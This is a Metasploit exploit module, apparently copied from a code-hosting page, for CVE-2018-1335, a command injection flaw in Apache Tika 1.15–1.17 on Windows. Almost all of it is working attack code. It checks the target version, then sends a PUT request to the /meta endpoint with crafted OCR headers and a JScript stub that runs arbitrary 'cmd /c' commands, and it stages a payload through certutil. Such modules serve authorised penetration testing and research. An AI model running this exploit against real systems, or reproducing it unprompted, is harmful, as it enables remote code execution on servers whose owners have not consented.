Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::CmdStager
10
  include Msf::Exploit::Remote::HttpClient
11
  include Msf::Exploit::Powershell
12
  prepend Msf::Exploit::Remote::AutoCheck
13

14
  def initialize(info = {})
15
    super(update_info(info,
16
      'Name'           => 'Apache Tika Header Command Injection',
17
      'Description'    => %q{
18
          This module exploits a command injection vulnerability in Apache
19
        Tika 1.15 - 1.17 on Windows.  A file with the image/jp2 content-type is
20
        used to bypass magic bytes checking.  When OCR is specified in the
21
        request, parameters can be passed to change the parameters passed
22
        at command line to allow for arbitrary JScript to execute. A
23
        JScript stub is passed to execute arbitrary code. This module was
24
        verified against version 1.15 - 1.17 on Windows 2012.
25
        While the CVE and finding show more versions vulnerable, during
26
        testing it was determined only > 1.14 was exploitable due to
27
        jp2 support being added.
28
      },
29
      'License'        => MSF_LICENSE,
30
      'Privileged'     => false,
31
      'Platform'       => 'win',
32
      'Targets'        =>
33
        [
34
          ['Windows',
35
            {'Arch' => [ARCH_X86, ARCH_X64],
36
            'Platform' => 'win',
37
            'CmdStagerFlavor' => ['certutil']
38
            }
39
          ]
40
        ],
41
      'DefaultTarget'  => 0,
42
      'DisclosureDate' => '2018-04-25',
43
      'Author' =>
44
        [
45
          'h00die', # msf module
46
          'David Yesland', # edb submission
47
          'Tim Allison' # discovery
48
        ],
49
      'References' =>
50
        [
51
          ['EDB', '46540'],
52
          ['URL', 'https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/'],
53
          ['URL', 'https://lists.apache.org/thread.html/b3ed4432380af767effd4c6f27665cc7b2686acccbefeb9f55851dca@%3Cdev.tika.apache.org%3E'],
54
          ['CVE', '2018-1335']
55
        ]))
56

57
    register_options(
58
      [
59
        Opt::RPORT(9998),
60
        OptString.new('TARGETURI', [true, 'The base path to the web application', '/'])
61
      ])
62
  end
63

64
  def check
65
    res = send_request_cgi({
66
             'uri'    => normalize_uri(target_uri),
67
           })
68
    if res.nil?
69
      vprint_error('No server response, check configuration')
70
      return CheckCode::Safe
71
    elsif res.code != 200
72
      vprint_error('No server response, check configuration')
73
      return CheckCode::Safe
74
    end
75

76
    if res.body =~ /Apache Tika (\d.[\d]+)/
77
      version = Rex::Version.new($1)
78
      vprint_status("Apache Tika Version Detected: #{version}")
79
      if version.between?(Rex::Version.new('1.15'), Rex::Version.new('1.17'))
80
        return CheckCode::Vulnerable
81
      end
82
    end
83
    CheckCode::Safe
84
  end
85

86
  def execute_command(cmd, opts = {})
87
    cmd.gsub(/"/, '\"')
88
    jscript="var oShell = WScript.CreateObject('WScript.Shell');\n"
89
    jscript << "var oExec = oShell.Exec(\"cmd /c #{cmd}\");"
90

91
    print_status("Sending PUT request to #{peer}#{normalize_uri(target_uri, 'meta')}")
92
    res = send_request_cgi({
93
             'method' => 'PUT',
94
             'uri'    => normalize_uri(target_uri, 'meta'),
95
             'headers' => {
96
                "X-Tika-OCRTesseractPath" => '"cscript"',
97
                "X-Tika-OCRLanguage"      => "//E:Jscript",
98
                "Expect"                  => "100-continue",
99
                "Content-type"            => "image/jp2",
100
                "Connection"              => "close"},
101
             'data' => jscript
102
           })
103

104
    fail_with(Failure::Disconnected, 'No server response') unless res
105
    unless (res.code == 200 && res.body.include?('tika'))
106
      fail_with(Failure::UnexpectedReply, 'Invalid response received, target may not be vulnerable')
107
    end
108
  end
109

110
  def exploit
111
    execute_cmdstager(linemax: 8000)
112
  end
113
end
114

115